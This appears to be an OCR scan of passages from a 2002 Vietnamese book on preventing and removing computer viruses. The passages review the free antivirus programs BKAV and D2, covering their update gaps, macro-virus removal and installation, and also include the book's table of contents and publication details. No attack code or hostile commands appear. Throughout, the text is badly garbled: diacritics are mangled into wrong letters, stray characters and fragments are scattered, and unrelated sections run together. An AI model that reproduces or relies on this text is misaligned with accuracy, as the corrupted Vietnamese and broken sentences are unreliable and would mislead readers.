va phéng khodng, khong ¢4 su diu tu nhiéu vé kinh phi
ciing nhu thuong mai. sy phdt trién cia BKAV vin
khong thé tranh khoi  vét xe cha phitng chuong trinh
nghiép du. Hién nay. hau nhu mol ngudi ding may tinh &
Viét Nam déu it nhal cone dd mot vai lan sit dung
BKAV, tham chi cor BKAV la ngudi ban ciu cénh
duynhat moi khi cdi mdy tinh cha minh bi su ¢d |
BKAV vita khong mat tién . dé car , dé dung (do ¢6 giao
dien tiéng Viét), kich thude lia rdt nhé gon (Ludn dudi
MB) khong yéu cau chiém nhiéu tai nguyén trén may
(nhat 1a bd nhd).nhung vi do tinh "nghi¢cp du", nén
BKAY khéng tréanh khoi mot s6 han ché co ban sau:

vi

- Khong cép nhat thudmg xuyén cic thong tin virus.
Véi su bung nd thong tin nhu hién nay, virus duge sinh
ra hang ngay, thdm chi hang 2id ma BKAV chi mét
thing, tham chi do6i ba thang c¢é mot ldn cap nhat (Ciing
1a phién ban méi chia BKAV luén) thi qua 1 rdi thi€u vén
tam vét cac hé thong chi trong chd vao su bdo vé khong
tinh tién cia BKAV.

- BKAV diét rat 16t cde loai Macro, mot 6 virus noi
ma cac chuong trinh cla nudc ngoai khong phdt hién ra,
nhing thuc s BKAV chi diét dugc céc virus ngoai (Nhat
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la F-virus) ' .ge vde chwong uinh khac cap nhat tir khd
Jau, ma khong ¢ kha nang phong ngira tir xa d6i véi cic
virus chua dirge BKAV cép nhat.

- Do duoc thiét ke vai kich thude nho gon nén BKAV
rude day chu yéu li cde ban chay trén DOS, hoidc sau
nay ¢6 cdc ban chay trén Windows nhing giao dién con
rat so sat, tnh nang khong phong phu.

Mac dir con nhiéu nhuee dicm nhu vay, ching 161 van
khuyén ban hdy phong bi cho néng minh mot bé BKAV,
ca han Wiisiows {madi nhat 1a BKAV2002 Version 403)
vit mot ban trén DOS gan diy nhat (BKAV 384) vi nhimg
1¥ do sau dav:

- Khang mot chvong teinh diét virus noi tiéng nao ¢6
the cap niv: div &0 1dt ca e ihong tin virus frong céc
fan cap nhiat ctia minh. Diéu dé ¢ nghia la, dé yén tam
vdi viéc méy tinh cua ban khong cd virus thi nhat thiét
khong thé hodn toan tin trdng vio k&t qua bdo "khong
tim thay virus" ma khong cé mot chuong trinh tim dicét
khdc dé phong con hon sot.

- Mot s6 F-virus chi hoat dong khi Registry (Bang
ding ky hoat dong cta cdc chuong trinh trong Windows)
duge kich hoat. DE loai trir nd c6 thé phai khoi déng may
dudi DOS. D6 chinh 1 hic cdn dén BKAV384, hoac mot
chuong trinh diét virus nao dé chay trén DOS.
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- Mot s6 B-virus rat kho diét khi ban phai khai dong
bang o cing. Ban chi ¢6 thé diét duoe chiing khi khai
dong h¢ théng bing mot dia mém sach. BKAV384 s& dac
dung sau kh1 ban khoi dong hé théng biang mot dia mém
chac chin khong ¢6 virus.

b. Cai dat va sir dung BKAYV,

Cho dén nay, mic di [a sdn phim cho khéng, BKAV
van duge Nguyén Tl Quang cung céac thanh vién trong
nhém cia minh ti€p tue phdt trien va ban mdi nhat hien
nay dang duge gidi thiéu la BKAV2002 version403. Ban
nay c6 nhiéu vu diém hon cdc ban trude 1a ngoai viéc cap
nhat duge khd day di cdc thong tin virus mdi, né con cé
€0 giao dién phong phd hon bei thém phan lap lich quét
(Giong nhur Schedule cua cde chuong trinh nudc ngoai).
Giao dién BKAV403 con c6 ca ti€ng Anh cho ngudi
nude ngodi ¢6 thé dung. Hy vong 1 san pham di duoc su
hudng tng clia nhimg ngudi ngoai quoc dang cong tdc tai
Viet Nam. BKAV2002 v403 ¢6 kich thude rat nhod (183
KB), thu muc BKAV sau khi cai chi chiegm hon 300 KB,
khong doi hoi ciu hinh gi déi véi hé théng ngoai viéc
mdy phal ¢ hé dicu hinh Windows9x trd lén. Cai dat
BKAV hét sic don gian. Ban ching c¢an nhat thi¢t phai i
mot chuyén gia may tinh cling ¢6 thé cai dat va sir dung
BKAV do ban than sy don gian cla chuong trinh ciing
nhu sur gin gilii cua giao dién tiéng Viét. Hay tai BKAV
W cac Websiter  www.vnnovn/vanl/bkayv;  hoic
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vGi ban gén day nhdt |2 D32, phét hanh ngay 26 thianyg 3
nam 2002. D2 ciing la san pham khong thuongmai. duoc
phét hanh free (khong tinh phi) vi duoe ca dan tin hou
khong chuyén lan chuyén nghiép danh gid t chap nhan
duge. D2 ké cd cdc ban DOS (gdn day nhdt 1a D2 V319,
lan cdc bin Windows déu rat manh va la san pham hing
diu trong vice diét macro. Mt han ché cta D2 13 & cho
sau khi di¢t virus xong thi thinh thoang khéng xir 1§ duoc
16i hé thong dan dén trco mdy. tham chi 1am hong i
Window. Tuy vay, véi kha nang rat manh vé diét Macro,
D2 van duoc tin cay. Khi mang Internet con la xa voi o
Viét Nam, viéc luu hanh cac san phdm phin mém con
han che, thi c6 the néi rang mién Béc 1a noi ding BKAV
nhi€u nhit, cdon mién Nam chinh 1a dit dung v cta D2
Ngay nay BKAV vi D2 Ia hai sin phdm Viét Nam ra
gan giii v&i hiu nhu (at ca mo1 ngudi, va thuc su ca hai
san pham nghia hiép nay di va vin dang ¢6 chd dimg
nhat dinh trong ca giéi tin hoc chuyén va khéng chuyen.
2. Cai dat D32,

Ban D2 méi nhat cho dén thai diém ndy ma chang 16i
¢6 duge 1a ban setupd32, kich thude 0.99MB vi moét ho
Update di kém (d32updat) kich thuée 475KB. Dé cai dat
D32, ban nhan dip vao file setupd32exe, man hinh selup
s€ hién ra nhu sau:
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MUC LUC

LGOI GIGL THIEU
CHUONG |
TONG QUAN VE VIRUS MAY TINH

Virus la gi ?

Phan loai Vius

Mot 56 tén goi khdc thuong dung ctia Vius
CHUONG 11

CAC IIINH THUC PHA HOAI CUA VIRUS

MAY TINII

("dc hinh thiac phd hoai clia B-virus

Céc hinh thdc phd hoai ctuia [-virus

Cac hinh thite pha hoai ctta Macro virus
CHUONG i

TINU CHAT VA CONG NGHE SUDUNG TAO

VIRUS

S& truny

A

10
14

|

| R
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[

\!

[

Lot

V1

[

Tad

oh

Tich chal cta Virus
Cac cong ngh¢ cia Virus
Phan tich cdc cong nghé cua Virus
Phan tich cong nghé Vius trén mang
CIHIUONG IV
PIIONG CHONG VIRUS MAY TiNiI
Hau qua cta Virus va su ra doi ¢an thiét clia
cdc chuong trinh phong chéong
Cac hinh thite phong chéng Virus
Xu hudng phan tich cia cde chuong trinh
phong chong virus
PHU CHUGNG
G101 THIEU CAC CHUONG TRINII DIET
VIRUS NOI TIENG
Norton Antivirus 2001 Proesion
Norton Antivirus 2002 V8.0
Mecafee virus
Kaspertsky Antivirus Version
Chuong trinh Bkav
D2 Antivirus
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HUGNG DAN PHONG VA DIET VIRUS MAY TiNH
NGUYEN THANH CUGNG

NHA XUAT BAN THONG KE

Chiu trich nhiém xuat ban:

CAT VAN THANH
Bién tap: DUVAN VINH
Bia: PHAM TUAN
Trinh bay: MINH THU



-

in 2.000 cudn khuon khé 13x19cm, tai Xudng in NXB Van hoa Dan toc
Gidy phép xuat ban sd. 07-723/X8-QLXB
in xong va nép Iuu chidu Quy Nl nam 2002








